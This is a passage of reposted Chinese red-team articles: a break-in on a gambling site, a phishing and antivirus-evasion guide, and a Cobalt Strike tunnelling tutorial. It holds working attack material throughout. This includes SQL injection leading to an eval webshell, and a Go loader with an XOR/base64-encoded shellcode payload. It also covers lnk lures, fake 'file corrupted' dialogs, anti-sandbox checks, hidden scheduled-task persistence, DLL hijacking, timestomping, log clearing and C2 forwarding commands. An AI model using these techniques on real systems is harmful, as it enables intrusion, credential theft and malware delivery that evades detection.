留两个后门,一个webshell,一个开机自启的nc用来反弹shell 五.清理痕迹,撤退meterpreter 的 clearv命令一键清除 或者手动删除 Windows 日志 六.总结七.实验推荐利用sqlmap辅助手工注入 https://www.hetianlab.com/expc.do?ec=ECID172.19.104.182015011915533100001&pk_campaign=freebuf-wemedia 通过本实验的学习,你能够了解sqlmap,掌握sqlmap的常用命令,学会使用sqlmap辅助手工完成注入。 转载于原文链接: https://www.freebuf.com/articles/network/250744.html
-
记一次菠菜站对护卫神的利用
因为这个站是几个月前日的了,所以图片可能不全,也没办法再补图。 写这篇文章的时候,隔壁情侣正在鼓掌,声音贼响,导致我写的东西可能没有过一遍脑子,写的可能有点混乱。另外值得一提的是,为啥我们做安全的经常隔壁碰到这种人? 已知目标网站 之前客户有给过这种网站,所以我记忆尤深,针对这种站一般你可以直接放弃正常测试流程了,因为经验告诉我,网站主站功能基本上很少有漏洞的,只能从旁站下手。 Ctrl+u查看一波没发现有什么存在泄漏的js,回过头发现发现网站右上角有个优惠活动大厅 打开后页面似曾相识 随便点开一个活动,好像可以随便提交文字,没有过滤,我信心满满输入xss,提交,然而两天过去了,并没什么叼用,我当时的心情真是像云像雾又像雨。 然而我又发现下面有个审核进度查询,打开后会让你输入用户名,既然有输入用户名,那应该就是有带入数据库查询,习惯性加了个’点击查询,10秒过去了,没响应,我懵了,输入正常不存在的账号测试,是会弹出记录的,但是加单引号查询却一点响应都没有。 F12-network抓包,发现是有发送请求的,很明显了,有注入,而且报错是页面是thinkphp,从最下角看版本是3.2.3,这个版本真的是hc的最爱,从色情到贷款平台,再到菠菜都是这个版本的thinkphp。 先注入一波试试 抓包Sqlmap一波拿到了管理员账号密码,突然我意识到,我没有后台地址,拿到了也没叼用。 Fofa一波得到真实ip,发现999端口存在phpmyadmin服务,6588有一个标题为护卫神丶主机大师的asp站。目录爆破,端口扫描,子域名挖掘,都没有找到后台地址。 Os-shell成功,但是不管我输入什么都没反应。 Sql-shell也一样,仔细观察发现,网站路径是装在护卫神的。 有可能是护卫神拦截了,当时我还疑惑,这php的站,你用护卫神是什么意思。 等到十分钟后百度了一下hwshostmaster,我才知道我是多么无知,原来护卫神不是光有waf,他还有一个叫主机大师的服务,大概功能与phpstudy相同。 本地安装观察,发现主机大师默认安装后会在999端口启动phpmyadmin,6588端口则启动主机大师默认的管理页面,与我观察的目标ip端口一致。 既然目标站有phpmyadmin,那我就可以尝试使用sqlmap枚举一下对方数据库账号与密码hash。 Sqlmap –r sql.txt --string="Surname" --users --password Sqlmap枚举出来了root与test,root的密码没有破解出来,但是test的密码破解出来为1234。登陆成功。 关于这种情况拿shell,木神的黑白天公众号里有篇文章<phpMyAdmin 渗透利用总结>已经写的很详细了,木神看到这篇文章麻烦找我结一下广告费。 mysql数据库getshell一般有两种方法,into outfile,导出日志。 根据注入报错页面的文件地址 构造语句select 1 into outfile 'D:/wwwroot/xxx.com/web/1.txt'报错#1 - Can't create/write to file,应该是没有权限 尝试使用日志写入,先开启日志,然后 set global general_log_file =" D:\\wwwroot\\xxx.com\\web\\a.php"好像还是不行,我裂开了。 突然我想到,既然这个wwwroot目录没有权限,那么护卫神主机大师管理页面是否可以利用一下呢 ,翻了一下本地安装的主机大师文件,可以确认主机大师的管理页面绝对路径是D:\Hws.com\HwsHostMaster\host\web,尝试修改日志 Set global general_log_file =" D:\\Hws.com\\HwsHostMaster\\host\\web\\1.asp"成功。 然后执行select “<%eval request("chopper")%>”访问http://xxx.xxx.xxx.xxx:6588/1.asp报错404,这个问题难了我好久,后来我才发现,需要把日志文件换成其他的,当前日志文件才可以访问。Cknife连接成功 Whoami发现是system权限,那么剩下的就简单了,为了防止护卫神查杀,生成了个msf免杀马,通过certutil下载,然后执行,msf上线,然后迁移进程,load mimikatz,一套下来拿到了远程账号密码,脱裤打包源码,提交给客户,完事。 总结:1.主站无任何漏洞,对旁站下手,这里从优惠活动资助大厅,发现有注册页面,可尝试嵌套在线xss脚本获取管理员cookie信息,但并没有获取到 cookie2.在审核进度查询出,输入真实存在的用户名加单引号,发现页面没有相应,F12发现,有页面报错,是thinkphp,版本为3.2.33.通过sqlmap进行注入,获取到用的hash值,这里获取到root和test的hash值,能解密出test的hash值。Sqlmap –r sql.txt --string="Surname" --users --password4.通过fofa查询目标网站对应的IP的其他端口,发现存在999和6588端口,其中999位phpmyadmin端口,6588位护卫神管理界面。5.通过test进入phpmyadmin后台,又根据注入报错显示的网站物理路径,这里可以通过into out导入方法写入webshell6.首先写入到web目录下,显示没有权限select 1 into outfile 'D:/wwwroot/xxx.com/web/1.txt'7.开启log日志,发现还是失败set global general_log_file =" D:\\wwwroot\\xxx.com\\web\\a.php"8.既然wwwroot目录没有权限,那么护卫神主机大师管理页面是否可以利用一下呢 ,翻了一下本地安装的主机大师文件,可以确认主机大师的管理页面绝对路径是D:\Hws.com\HwsHostMaster\host\web,尝试修改日志Set global general_log_file =" D:\\Hws.com\\HwsHostMaster\\host\\web\\1.asp"9.然后执行select “<%eval request("chopper")%>”10.通过knife成功连接 转自原文连接: https://mp.weixin.qq.com/s?__biz=Mzg4NTUwMzM1Ng==&mid=2247486068&idx=2&sn=4e32251aaf8c25efee653b3314a05a29&chksm=cfa6ae67f8d127715b23c7b8403a08ccfac2e1bff2ac68030401d54698bcb10cd637a55f7d15&scene=178&cur_album_id=1553386251775492098#rd
-
钓鱼手法及木马免杀技巧
简述 钓鱼是攻防对抗中一种常用的手段,攻击者通常伪装成可信任的实体,例如合法的机构、公司或个人,以引诱受害者揭示敏感信息或执行恶意操作,能快速地撕破目标的伤口,快速进内网进行刷分,投递木马同时需要考虑逃避杀毒软件检测,本篇文章将围绕一些常见的钓鱼手法和木马免杀对抗展开 信息搜集 批量邮箱搜集 https://app.snov.io/ http://www.skymem.info/ 搜索引擎 一般来说,企业邮箱都存在邮件网关,邮件投递容易被退信拦截,所以我们要选择私人邮箱或不被邮服拦截的邮箱: 如 xx举报,xx招聘面对大众的邮箱,相关语法: site:"xxx.com" 举报 site:"xxx.com" 招聘 xx公司举报 @126.com xx公司招聘 @qq.com 钓鱼手法 社工钓鱼 首先是目标选择,目标群体:hr、经理、财务 等安全意识薄弱的人优先选择,提前准备多套场景应对 选择目标公司分部进行钓鱼成功率较高,提前想好话术和应变对策,避免被识破,最好不要在总部,避开IT信息安全部 社牛的师傅可以尝试电话钓鱼,获取信任再添加微信发送木马(需要过人的心理素质和应变能力,之前从潘高工身上学到很多) 邮件钓鱼 群发邮件(不推荐,易被管理员发现或被邮件网关拦截) 搜集关键人物个人邮箱定向投递(推荐,隐蔽性强) 福利补贴发放 紧贴时事话题,使用各种福利活动吸引目标用户点击,把钓鱼链接转为二维码发送 简历投递 招聘投递简历,hr面对大量简历不会仔细查看后缀 钓鱼文案不会写?没关系,能自动生成就不要手打,这里给我们的chatgpt大哥加鸡腿 举报信 xxx实名举报投诉,这种邮件一般处理反馈速度很快 钓鱼文件伪装 通用技巧 木马需要打压缩,添加密码并隐藏内容,或对木马文件进行双重压缩,一定程度绕过邮件网关的检测 选择不常见的后缀但仍可作为exe执行,如scr、com等 文件名使用长命名,如果对方文件显示设置不当,预览时候看不到后缀 lnk钓鱼 如果得知目标单位使用的不是360天擎这类杀软,可使用lnk文件进行钓鱼(360会拦截) 快捷方式目标位置填入: %windir%\system32\cmd.exe /c start .\.__MACOS__\.__MACOS__\.__MACOS__\.__MACOS1__\xxx.doc && C:\Windows\explorer.exe ".\.__MACOS__\.__MACOS__\.__MACOS__\.__MACOS1__\fsx.exe" 图标更换路径选择: C:\\Program Files (x86)\\Microsoft\\Edge\\Application %SystemRoot%\\System32\\imageres.dll %SystemRoot%\\System32\\shell32.dll 弹框错误提示 运行msgbox提示“文件已损坏”等具有迷惑性的内容 vbs实现 On Error Resume Next WScript.Sleep 2000 msgbox "当前文件已损坏,请更换工具进行打开",64,"提示" go代码实现 package main import ( "github.com/gen2brain/dlgs" ) func box() { _, err := dlgs.Info("提示", "当前文件已损坏,请更换工具进行打开") if err != nil { panic(err) } } 实现效果 文件捆绑器 绑定正常文件和恶意木马,运行后会对exe本身进行自删除,然后在当前目录下释放正常文件并打开,并释放木马至 C:\Users\Public\Videos目录下运行 1.1版本 bypass常规杀软 (360、def、火绒等) 1.2版本 新增文件释放后自动隐藏 效果实现 常见杀软类型 杀软类型杀软特点 火绒 编译参数限制多,对hash和字符串特征进行识别,静态能过动态基本不查杀,对部分go库调用报毒 360 单360查杀力不高,装了杀毒后直接儿子变爸爸,查杀力大大提升,杀毒会自动上传样本,容易上线后云查杀过一会掉线,推荐使用分离加载方式,并使用反沙箱的代码延长马子时间 360核晶 开启后对整体查杀性能影响不大,避免使用进程注入的方式加载shellcode,执行命令使用bof插件进行替代 Defender 新增cobaltstrike规则,推荐使用Stageless,免杀性比Stage好,4.5版本开启sleep_mask参数增强免杀性,对体积大的文件查杀度不高 基础的加载方式 以下只是基础的示例,仅仅实现加密解密加载的功能 先使用python脚本进行加密 payload.c 文件 import base64 originalShellcode = b"\xfc\xe8\x89\x00" encryptedShellcode = bytes([byte ^ 0xFF for byte in originalShellcode]) encodedShellcode = base64.b64encode(encryptedShellcode).decode('utf-8') print(encodedShellcode) 输出的内容填入encryptedShellcode进行编译 package main import ( "encoding/base64" "syscall" "unsafe" "github.com/lxn/win" "golang.org/x/sys/windows" ) func main() { // 通过 base64 和 XOR 解密 shellcode 内容 win.ShowWindow(win.GetConsoleWindow(), win.SW_HIDE) encryptedShellcode := "iz/0k4efv3d3dzYmNiclJiE/RqUSP/wlFz/8JW8//CVXP/wFJz94wD09Oka+P0a320sWC3VbVza2vno2draVmiU2Jj/8JVf8NUs/dqcR9g9vfHUCBfz3/3d3dz/ytwMQP3anJ/w/bzP8N1c+dqeUIT+Ivjb8Q/8/dqE6Rr4/RrfbNra+ejZ2tk+XAoY7dDtTfzJOpgKvLzP8N1M+dqcRNvx7PzP8N2s+dqc2/HP/P3anNi82LykuLTYvNi42LT/0m1c2JYiXLzYuLT/8ZZ44iIiIKh13PskAHhkeGRIDdzYhPv6RO/6GNs07AFFwiKI/Rr4/RqU6Rrc6Rr42JzYnNs1NIQ7QiKKe5Hd3dy0//rY2z8x2d3c6Rr42JjYmHXQ2JjbNIP7osYiinA4sP/62P0alPv6vOka+JR93RbfzJSU2zZwiWUyIoj/+sT/0tCcdfSg//obNaHd3dx13H/dEd3c+/pc2znN3d3c2zQIx6fGIoj/+hj/+rT6wt4iIiIg6Rr4lJTbNWnFvDIii8rd48up2d3c/iLh48/t2d3ecxJ6Tdnd3n/WIiIhYBAMWAx4UWB0EWB0GAhIFDlpEWURZRVkEGx4aWRoeGVkdBHdhI6t+16t+1fOvaU170U01iyzbpfayy1/2ar3+Ctaxwg13pLfzUvyPdjEAdyIEEgVaNhASGQNNVzoYDR4bGxZYQllHV18gHhkTGAAETFciTFcgHhkTGAAEVzkjV0JZRkxXEhlaIiRMVwUBTUZZQFlCXlcwEhQcGFhFR0dDRkZHQFcxHgUSERgPWEZZR1dfFg9een138a3Jhf8SuTLptsakGlHpCzEfaWu1GBbwmbCC5spmVmyh80fqMODP2ALXgmypFSNWG7SVeI0OybyhAGGyF4I4kOtTOz1MqEL3Bv8empA2KC6kL9eYO3xP4ukic3tfP++yRqP8gYDC1Aq3kBknsTnkPu3RSJoVXLtaD3jO3ibMl+cBpDBioUbhePdlxTvlhD+OZ/NDXSwjf1y7hgK70678/6sPEZl2VdgAUuFa17KFDBoUq6Cq9OLDOu5GFZp42AYcsmoQmwd8Xnc2yYfC1SGIoj9Gvs13dzd3Ns93Z3d3Ns43d3d3Ns0v0ySSiKI/5CQkP/6QP/6GP/6tNs93V3d3Pv6ONs1l4f6ViKI/9LNX8rcDwRH8cD92tPK3AqAvLy8/cnd3d3cntJ8IioiIBBIFAR4UEloSAxMVQEMZEVpGREdAQEdHT0ZPWQQfWRYHHhAAWQMSGRQSGQMUBFkUGBp3coKWdw==" decodedShellcode, _ := base64.StdEncoding.DecodeString(encryptedShellcode) for i := 0; i < len(decodedShellcode); i++ { decodedShellcode[i] ^= 0x77 } // 获取 kernel32.dll 中的 VirtualAlloc 函数 kernel32, _ := syscall.LoadDLL("kernel32.dll") VirtualAlloc, _ := kernel32.FindProc("VirtualAlloc") // 分配内存并写入 shellcode 内容 allocSize := uintptr(len(decodedShellcode)) mem, _, _ := VirtualAlloc.Call(uintptr(0), allocSize, windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE) if mem == 0 { panic("VirtualAlloc failed") } buffer := (*[0x1_000_000]byte)(unsafe.Pointer(mem))[:allocSize:allocSize] copy(buffer, decodedShellcode) // 执行 shellcode syscall.Syscall(mem, 0, 0, 0, 0) } 通用杀软bypass技巧 免杀性优先选择远程加载或文件分离加载,但同时也存在一些缺点,前者可能会被溯源或被安全设备封堵url地址,后者需要两个文件更适合维权使用 垃圾代码填充,在加载shellcode前先进行无害化操作,干扰沙箱和杀软的判断,或者通过延时执行或增大程序体积一定几率绕过检测 选择小众语⾔来编写制作loader特征较少,工具除了CS也可使用vshell等其他自写C2 一键生成免杀 臭不要脸的我又来安利一波github项目,咳咳,觉得还可以的师傅可以点个star⭐ 免杀大师王超攻魔改之作 https://github.com/wangfly-me/LoaderFly 千机-红队免杀木马自动生成 https://github.com/Pizz33/Qianji 编译参数的影响 go: -race 竞态检测编译 -ldflags '-s -w' 去除编译信息 -ldflags '-H windowsgui' 隐藏窗口 garble(混淆库): -tiny 删除额外信息 -literals 混淆文字 -seed=random base64编码的随机种子 举个例子,编译一个无害化的代码使用了 -literals 参数,360仍会报毒,不加则不报毒 package main func main() { // 两个要相乘的数字 num1 := 5 num2 := 3 result := 0 // 使用for循环来进行乘法运算 for i := 0; i < num2; i++ { result += num1 } } -H windowsgui参数同样也会对免杀性产生很大影响,如果需要隐藏黑框可以用下面的代码替代(但是win11下仍有黑框) package main import "github.com/lxn/win" func main(){ win.ShowWindow(win.GetConsoleWindow(), win.SW_HIDE) } func box()int{ FreeConsole := syscall.NewLazyDLL("kernel32.dll").NewProc("FreeConsole") FreeConsole.Call() return 0 } func main() { box() 静态特征处理 混淆处理 go低版本 https://github.com/boy-hack/go-strip go高版本 https://github.com/burrowers/garble mangle替换字符串 https://github.com/optiv/Mangle Mangle.exe -I xxx.exe -M -O out.exe mangle处理前后对比,可发现对go编译特征字符串替换为随机字符 base64编码变量 cmd := exec.Command("rundll32.exe", "xxx") 关键字符串进行Base64编码,并在相应位置替换变量值 encodedCommand := "cnVuZGxsMzIuZXhl" encodedArguments := "MTExTdGFydA==" // 解码Base64编码的命令和参数 decodedCommand, _ := base64.StdEncoding.DecodeString(encodedCommand) decodedArguments, _ := base64.StdEncoding.DecodeString(encodedArguments) cmd := exec.Command(string(decodedCommand), string(decodedArguments)) QVM绕过 添加资源 1、添加图标签名版权等信息内容,可使用以下项目一键添加 https://github.com/Pizz33/360QVM_bypass https://github.com/S9MF/my_script_tools/tree/main/360QVM_bypass-public https://github.com/langsasec/Sign-Sacker 行为特征 运行直接加载shellcode,一般会直接报qvm package main import ( "syscall" "unsafe" ) var ( ntdll = syscall.MustLoadDLL("ntdll.dll") VirtualAlloc = kernel32.MustFindProc("VirtualAlloc") RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory") ) const ( MEM_COMMIT = 0x1000 MEM_RESERVE = 0x2000 PAGE_EXECUTE_READWRITE = 0x40 ) func main() { addr, _, err := VirtualAlloc.Call(0, uintptr(len(decryt)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) if err != nil && err.Error() != "The operation completed successfully." { syscall.Exit(0) } _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&decryt[0])), uintptr(len(decryt))) if err != nil && err.Error() != "The operation completed successfully." { syscall.Exit(0) } syscall.Syscall(addr, 0, 0, 0, 0) } 先执行正常行为再进行shellcode加载,qvm无报毒,以下是示例,可根据实际情况进行调整 package main import ( "syscall" "unsafe" ) var ( ntdll = syscall.MustLoadDLL("ntdll.dll") VirtualAlloc = kernel32.MustFindProc("VirtualAlloc") RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory") ) const ( MEM_COMMIT = 0x1000 MEM_RESERVE = 0x2000 PAGE_EXECUTE_READWRITE = 0x40 ) func main() { num1 := 5 num2 := 3 result := 0 // 使用for循环来进行乘法运算 for i := 0; i < num2; i++ { result += num1 } addr, _, err := VirtualAlloc.Call(0, uintptr(len(decryt)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) if err != nil && err.Error() != "The operation completed successfully." { syscall.Exit(0) } _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&decryt[0])), uintptr(len(decryt))) if err != nil && err.Error() != "The operation completed successfully." { syscall.Exit(0) } syscall.Syscall(addr, 0, 0, 0, 0) } 好用的反沙箱技巧 出口IP判断 func san() { url := "https://myip.ipip.net/" resp, err := http.Get(url) if err != nil { os.Exit(1) } defer resp.Body.Close() body, err := ioutil.ReadAll(resp.Body) if err != nil { os.Exit(1) } content := string(body) if strings.Contains(content, "中国") { } else { os.Exit(1) } } 检测桌面文件数量 func desktop() { desktopPath, err := os.UserHomeDir() if err != nil { fmt.Println("无法获取用户桌面路径:", err) return } desktopPath = filepath.Join(desktopPath, "Desktop") fileCount, err := countFilesInDir(desktopPath) if err != nil { fmt.Println("无法读取用户桌面文件列表:", err) return } fmt.Println("用户桌面文件数:", fileCount) if fileCount < 7 { os.Exit(0) } // 在这里编写你的其他代码逻辑 } 检测微信等常见软件 func CheckWeChatExist() { k, err := registry.OpenKey(registry.CURRENT_USER, `SOFTWARE\\Tencent\\bugReport\\WechatWindows`, registry.QUERY_VALUE) if err != nil { os.Exit(0) } defer k.Close() s, _, err := k.GetStringValue("InstallDir") if err != nil || s == "" { os.Exit(0) } } 检测pagefile.sys func sys() { pageFilePath := "C:\\pagefile.sys" _, err := os.Stat(pageFilePath) if os.IsNotExist(err) { os.Exit(1) } else if err != nil { } else { } } 判断系统类型 func language() { language := os.Getenv("LANG") if strings.Contains(language, "en_US") { os.Exit(0) } else { } } 内存流量处理 流量侧可通过云函数或者CDN进行伪装,配置可参考网上教程在这里不进行详述,相关项目可参考,但要注意oss权限设置避免被溯源 https://github.com/9bie/oss-stinger https://github.com/pantom2077/alioss-stinger 自定义profile,可使用以下项目随机生成 https://github.com/threatexpress/random_c2_profile 内存混淆,动态加解密beacon内存,重载Ntdll等技术,可参考下面文章 https://www.freebuf.com/articles/system/361161.html https://idiotc4t.com/defense-evasion/load-ntdll-too 执行命令bypass 直接通过cs执行截图,spawn等敏感操作,容易导致beacon掉线,这时候可以使用bof替代,下面列举一些好用的 进程迁移 https://github.com/ajpc500/BOFs 截图 https://github.com/baiyies/ScreenshotBOFPlus 删除自身 https://github.com/AgeloVito/self_delete_bof bypassuac提权 https://github.com/youcannotseemeagain/ele 可以定期去github上关注一些好用的bof 权限维持 常规命令添加计划任务,注册表这里不过多叙述,网上命令教程有 添加计划任务 在攻防中,上线机器总是需要手动进行维权太过于麻烦,直接在代码加入上线自动添加计划任务,测试可以bypass常规杀软 部分实现代码: https://github.com/capnspacehook/taskmaster package main import ( "os" "github.com/capnspacehook/taskmaster" ) func runWinTask(path string) { // 创建初始化计划任务 taskService, _ := taskmaster.Connect() defer taskService.Disconnect() // 定义新的计划任务 newTaskDef := taskService.NewTaskDefinition() // 添加执行程序的路径 newTaskDef.AddAction(taskmaster.ExecAction{ Path: path, }) // 定义计划任务程序的执行时间等,设置为开机启动 newTaskDef.AddTrigger(taskmaster.BootTrigger{ TaskTrigger: taskmaster.TaskTrigger{ Enabled: enable, }, }) // 创建计划任务 result, _, _ := taskService.CreateTask("\\windows\\update", newTaskDef, true) result=result } func main() { path, err := os.Executable() if err != nil { return } runWinTask(path) } 隐藏计划任务 具体原理可参考0x727师傅的文章 https://github.com/0x727/SchTask_0x727 https://payloads.cn/2021/0805/advanced-windows-scheduled-tasks.html 选择主机随机进程名作为计划任务程序文件名 将计划任务程序文件复制到 %AppData%\Microsoft\Windows\Themes\ 创建的计划任务名取同一随机进程 计划任务触发器以分钟为单位,无限期持续 更改 Index、删除 SD 的键值,隐藏计划任务对应的 XML 文件 dll劫持替换 比较常用的有 C:\Program Files (x86)\Google\Update 当 GoogleUpdate.exe 程序运行的时候,会调用当前目录下的 goopdate.dll 文件 单个查找 https://github.com/wietze/windows-dll-hijacking 批量查找 https://github.com/knight0x07/ImpulsiveDLLHijack ImpulsiveDLLHijack.exe -path xxx.exe 这里使用navicat进行测试,可见运行的时候会加载C:\Users\xxx\AppData\Local\Programs\Python\Python38\Scripts\oci.dll 修改文件时间 当我们上传cs木马至服务器的时候,由于修改日期是新的,蓝队人员很容易通过 everything 筛选时间排查应急 这时候我们可以使用一些技巧进行隐藏 https://github.com/MsF-NTDLL/ChTimeStamp 通过这个项目实现修改文件时间,先看看预览效果 查看net版本 shell reg query "HKLM\\Software\\Microsoft\\NET Framework Setup\\NDP" /s /v version | findstr /i version | sort /+26 /r 需要安装net3.5 没有安装一下 shell dism.exe /online /enable-feature /featurename:netfx3 /Source:C:\\Users\\hack\\Desktop\\dotnetfx35.exe DISM /Online /Enable-Feature /All /FeatureName:NetFx3 /LimitAccess /Source:D:\\sources\\sxs https://github.com/MsF-NTDLL/ChTimeStamp shell copy "C:\\Program Files\\Windows Defender\\MpClient.dll" C:\\Users\\Public\\AccountPictures\\MpClient.dll shell C:\\Users\\Public\\AccountPictures\\ChTimeStamp.exe C:\\Users\\Public\\AccountPictures\\new\_msedge.exe C:\\Users\\Public\\AccountPictures\\MpClient.dll https://github.com/sorabug/ChangeTimestamp ChangeTimestamp.exe xxx.exe 2021-12-09 15:08:27 转自于原文连接: https://forum.butian.net/share/2532
-
不出网上线CS的各种姿势
0x01 存在一台中转机器存在一台中转机器,这台机器出网,这种是最常见的情况。 经常是拿下一台边缘机器,其有多块网卡,内网机器都不出网。这种情况下拿这个边缘机器做中转,就可以上线。 拓扑大致如下: 上线方法一: SMB Beacon介绍官网介绍:SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons连接后,子Beacon从父Beacon获取到任务并发送。 因为连接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽,绕防火墙时可能发挥奇效。 使用这种Beacon要求具有SMB Beacon的主机必须接受端口445上的连接。 派生一个SMB Beacon方法:在Listner生成SMB Beacon>目标主机>右键> spawn >选中对应的Listener>上线 或在Beacon中使用命令spawn smb(smb为我的smb listener名字) 使用插件,或自带端口扫描,扫描内网机器 转到视图,选择目标 使用psexec 选择一个hash,选择smb 监听器和对应会话 即可上线 运行成功后外部可以看到∞∞这个字符,这就是派生的SMB Beacon。 当前是连接状态,你可以Beacon上用link <ip>命令链接它或者unlink <ip>命令断开它。 这种Beacon在内网横向渗透中运用的很多。在内网环境中可以使用ipc $生成的SMB Beacon上传到目标主机执行,但是目标主机并不会直接上线的,需要我们自己用链接命令(link <ip>)去连接它。 上线方法二:中转listener(Reverse TCP Beacon)其实和方法一是类似的 以下内容会自动配置 然后和上面方法一一样,发现内网主机且知道账号密码,psexec横向传递,选择中转listener 上线方法三:HTTP 代理中转机器不需要上线即可 使用goproxy项目做代理,项目地址: https://github.com/snail007/goproxy 过程: 1.上传proxy.exe到web服务器(边缘主机),在8080端口开启http代理 C:\proxy.exe http -t tcp -p "0.0.0.0:8080" --daemon 2.用netsh命令将访问内网ip 192.168.111.131的822端口(必须为未使用的端口,否则会失败)的流量重定向到外网ip 192.168.1.88的8080端口 netsh interface portproxy add v4tov4 listenaddress=192.168.111.131 listenport=822 connectaddress=192.168.1.88 connectport=8080 3.创建listener,配置如下 4.生成stageless payload,在业务服务器上执行,成功上线 连接过程 192.168.111.236 → 192.168.111.131:822→ 192.168.1.88:8080→ C2(192.168.1.89) 上线方法四、TCP Beacon(正向)正向连接和SMB Beacon比较类似。也需要一个父beaconSMB Beacon,TCP Beacon 与 Cobalt Strike 中派生 payload 的大多数动作相兼容。除了一些 要求显式 stager 的用户驱动的攻击(比如: Attacks → Packages 、 Attacks → Web Drive-by )。测试: 生成一个tcp beacon 使用该beacon生成一个stageless形式的木马: 上传到目标机器运行: 在中转机器的Beacon里使用connect [ip address] [port]命令进行正向连接,即可上线: 要销毁一个 Beacon 链接,在父会话或子会话的控制台中使用 unlink [ip address] [session PID] 。以后,你可以从同一主机(或其他主机)重新连接到 TCP Beacon。 上线方法五、使用pystinger进行代理转发pystinger的详细使用 见下面章节。 这里仅简单演示一下: 一般不会将pystinger用在这种场景下 测试环境: 攻击机kali:192.168.1.35 web服务器:192.168.1.70、192.168.111.129 业务服务器:192.168.111.236 过程: 1.上传proxy.php到WEB服务器网站目录,正常访问返回UTF-8 web服务器外网ip为192.168.1.70 上传stinger_server.exe,执行 start stinger_server.exe 0.0.0.0 攻击机(192.168.1.89)上执行 ./stinger_client -w http://192.168.1.70/proxy.php -l 127.0.0.1 -p 60000 此时已经将web服务器的60020端口转发到vps的60020端口上了 CS设置监听,HTTP Hosts为中转机器的内网ip,端口为60020: 使用psexec横向移动,选择listener为pystinger,或者直接生成payload在业务主机执行,业务内网主机192.168.111.236即可成功上线: 补充:中转机器为LinuxHTTP代理(中转机器不需要上线即可)使用方法与上面方法三一样。只不过要使用iptables转发: echo 1 >/proc/sys/net/ipv4/ip_forward iptables -A PREROUTING -p tcp -d 192.168.111.131 --dport 822 -j DNAT --to-destination 192.168.1.88:8080 iptables -A POSTROUTING -p tcp -d 192.168.1.88 --dport 8080 -j SNAT --to-source 192.168.111.131 测试: 中转机器(192.168.111.142) 攻击机 生成stageless payload,在目标机器上执行,成功上线 连接过程:(重新截的图,端口改了一下8080->8081) 192.168.111.140 → 192.168.111.142:8080→ 192.168.111.142:8081→ 192.168.111.131:81(C2) 使用pystinger进行代理转发和上面上线方法五一样,建立pystinger连接之后,直接生成payload在业务主机执行,业务内网主机192.168.111.236即可成功上线。。 CrossC2通过其他机器的Beacon可以直接上线Linux机器 CrossC2使用 用来上线Linux或MacOS机器 项目地址: 【一定要下载对应版本的】 https://github.com/gloxec/CrossC2 配置: (我这里在Windows上运行的teamserver) 创建个https监听: 生成个payload (用其他方式也可以) 如果生成不了,也可以直接命令行生成 生成之后,上传到Linux机器,运行,即可上线: 安装CrossC2Kit插件,丰富beacon的功能 内网机器上线CS: 中转的Linux机器上线之后,即可用上面的方法来上线内网机器。 TCP Beacon: 上传到目标机器运行。 然后在Linux beacon下连接: 上线之后是个黑框,checkin一下就可以了 还是建议使用上面两种方法。 0x02 边缘机器只有DNS协议出网DNS上线CS一、准备工作1)域名 ,godaddy :yokan.xxx 2)vps,防火墙开放UDP端口53 : 82.xxx.xxx.19 3)cobalt strike 4.1 二、域名设置1)设置解析 配置A记录设置成vps的ip,cs也配置在vps上 配置几个ns记录 指向刚刚A记录对应的域名 配置完成之后ping test.yokan.xxx可以ping通 vps上查看53端口占用情况,停掉vps的53端口服务 systemctl stop systemd-resolved 2)cs设置监听 ![image- 都是ns记录的域名,DNS Host(Stager)随便选择其中一个就可以。 3)nslookup查看 ,成功解析: 注意:响应的地址74.125.196.113,这个是跟profile里设置的 三、cs上线生成cs的stageless上线马,执行上线 stageless 马 dns有x64版本 , stager没有 上线之后是黑框,需要使用checkin命令让dns beacon强制回连teamserver PS:需要多等一会 这样就可以正常交互了: 0x03 边缘机器不出网方法一、TCP Beacon 正向连接<font color='red'>应用场景:边缘机器各种协议均不出网,但是可以正向访问到。</font > 使用: 先让自己的攻击机上线 然后,如"上线方法四"一样,使用TCP Beacon生成一个stageless形式的木马,上传到目标机器,并运行。 在攻击机(中转机器)的Beacon里使用connect [ip address] [port]命令进行正向连接,即可上线: 方法二、使用pystinger(毒刺)工具<font color='red'>应用场景:边缘机器各种协议均不出网,但是存在web服务,已经拿到webshell。</font > 项目地址: https://github.com/FunnyWolf/pystinger 简单原理: Pystinger来实现内网反向代理,利用http协议将目标机器端口映射至cs服务端监听端口,能在只能访问web服务且不出网的情况下可以使其上线cs 使用地址: https://github.com/FunnyWolf/pystinger/blob/master/readme_cn.md 这里直接复制过来了: 假设不出网服务器域名为 http://example.com:8080 ,服务器内网IP地址为192.168.3.11 SOCK4代理proxy.jsp上传到目标服务器,确保 http://example.com:8080/proxy.jsp 可以访问,页面返回 UTF-8将stinger_server.exe上传到目标服务器,蚁剑/冰蝎执行start D:/XXX/stinger_server.exe启动服务端不要直接运行D:/XXX/stinger_server.exe,会导致tcp断连 vps执行./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000如下输出表示成功root@kali:~# ./stinger_client -w http://example.com:8080/proxy.jsp -l 127.0.0.1 -p 60000 2020-01-06 21:12:47,673 - INFO - 619 - Local listen checking ... 2020-01-06 21:12:47,674 - INFO - 622 - Local listen check pass 2020-01-06 21:12:47,674 - INFO - 623 - Socks4a on 127.0.0.1:60000 2020-01-06 21:12:47,674 - INFO - 628 - WEBSHELL checking ... 2020-01-06 21:12:47,681 - INFO - 631 - WEBSHELL check pass 2020-01-06 21:12:47,681 - INFO - 632 - http://example.com:8080/proxy.jsp 2020-01-06 21:12:47,682 - INFO - 637 - REMOTE_SERVER checking ... 2020-01-06 21:12:47,696 - INFO - 644 - REMOTE_SERVER check pass 2020-01-06 21:12:47,696 - INFO - 645 - --- Sever Config --- 2020-01-06 21:12:47,696 - INFO - 647 - client_address_list => [] 2020-01-06 21:12:47,696 - INFO - 647 - SERVER_LISTEN => 127.0.0.1:60010 2020-01-06 21:12:47,696 - INFO - 647 - LOG_LEVEL => INFO 2020-01-06 21:12:47,697 - INFO - 647 - MIRROR_LISTEN => 127.0.0.1:60020 2020-01-06 21:12:47,697 - 